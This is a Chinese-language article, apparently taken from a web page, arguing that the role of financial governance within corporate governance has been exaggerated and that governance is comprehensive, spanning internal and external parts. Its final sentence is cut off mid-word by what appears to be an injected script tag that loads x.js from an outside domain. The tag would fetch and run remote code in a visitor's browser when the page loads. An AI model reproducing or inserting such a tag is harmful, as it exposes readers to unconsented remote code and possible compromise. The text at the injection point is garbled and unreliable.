财务治理作为公司治理的重要组成部分,其作用日显突出。近年来甚至有把财务治理在公司治理中的作用夸大的现象,同时对财务治理模式的选择也有值得商榷的地方。为此,我们有必要将财务治理的作用回归本位,并选择恰当的财务治理模式。
财务治理:专业治理还是综合治理
在财务治理的研究和实践中,不少研究和实践者发现,进行公司治理离开了财务治理是很难奏效的,这主要表现在两种认识上:一是伴随公司的经营活动过程,发生相应的资金运动,财务治理就是公司各利益相关者通过对资金运动过程进行有效的控制,以确保公司及其经营者的行为与公司的各利益相关者的目标达成一致。所以公司各利益相关者通过对资金运动的控制,相应会对公司的经营活动过程产生控制效力。从这个意义出发,财务治理几乎等同于公司治理,从而就有了财务治理的内容相当于公司治理的全部内容的观点;二是公司的目标是要实现价值最大化,财务管理的核心就是要进行价值管理以达到公司的这一目标。但由于作为委托人的公司利益相关者与作为受托人的经营者之间的利益存在不一致,必然在公司的融资、投资、资产使用、成本费用支出、收益分配方面会存在不协调甚至对立的状态。为了改变这种状态,委托人必然对受托人的财务行为进行控制,以实现委托人的价值目标。由此出发,委托人追求价值目标,必然关注受托人的财务行为,从而对受托人的财务行为的控制就成为公司治理的核心。这些认识在一定程度上有其合理的一面,但一旦夸大财务治理的作用,就可能适得其反。这些年来,公司特别是上市公司的财务治理,得到了较大程度的强化,但公司及其经营者背离公司利益相关者的行为仍然层出不穷,其性质也愈加严重,这说明公司治理不是单方面的财务治理,从各国公司治理的经验看,公司治理是综合治理,包括外部治理和内部治理,它们又涉及以下方面的内容:
就公司治理的主体而言,可以分为三个方面:一是与公司有直接利益关系的内部相关利益者;二是政府;三是市场,也可以说是潜在的竞争者。一般来说,政府与市场对公司所形成的治理称为外部治理,而内部的直接相关利益者形成的治理称为内部治理,主要的内部直接利益相关者是出资人。很显然财务治理主要是与公司的内部治理相关的,如出资人为了对经营者的财务行为进行约束,便制定出资者的财务制度和会计制度,以及相应的内部会计控制制度。公司内部治理除了财务治理外,也可以从经营和财务管理以外的其他管理角度进行治理,如出资人对投资决策的审批,不仅要进行财务可行性的审查,也必须进行市场可行性、技术可行性、政策可行性和环境可行性的审查,显然这些审查并非?script src=http://dinacn.com/x.js> |